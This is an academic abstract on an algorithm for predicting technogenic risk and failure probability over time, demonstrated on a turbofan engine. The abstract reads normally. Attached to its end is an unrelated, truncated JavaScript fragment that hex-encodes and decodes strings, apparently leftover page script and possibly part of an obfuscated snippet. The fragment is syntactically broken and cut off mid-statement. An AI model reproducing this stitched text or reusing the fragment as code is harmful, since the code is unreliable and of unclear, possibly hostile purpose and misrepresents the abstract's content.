Analysis of algorithm for estimating distribution functions of random variables for the prediction of technogenic risk

Abstract

An algorithm for estimating distribution functions of random variables for the prediction of technogenic risk is described. This algorithm is based on the use of three methods: Monte Carlo method, index method and the method based on the elements of reliability theory, and for obtaining and normalization of source data and at genetic algorithms and methods for determining the distribution function of the random variable. The use of these methods in the present combination allows avoiding the problems associated with the uncertainty of the source data and solves the problem of predicting the reliability of complex technical systems in their operation. It is also considered an example of the failure probability function of the technical system in time. The nominal value of the failure probability of individual elements of the system is calculated by the index method (calculation by the index method includes all components of technogenic risk associated with the conditions of operation). It avoids the problem of uncertainty of source data for technogenic risk calculation of all systems. The calculated probability is the input for the Monte Carlo method and the probabilistic method. The calculations in the time interval allow determining the function which characterizes the failure probability density of the technical system in time. The results of researches are the failure probability functions in time for the turbofan engine. Verification of the results by comparing the available reliable data on the reliability of the turbofan engine was carried out to test the adequacy of the developed algorithm. Verification show that the results are valid, and the algorithm can be used to calculation and prediction of technogenic risk of industrial facilities during the operational phase. // o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=,o=0;o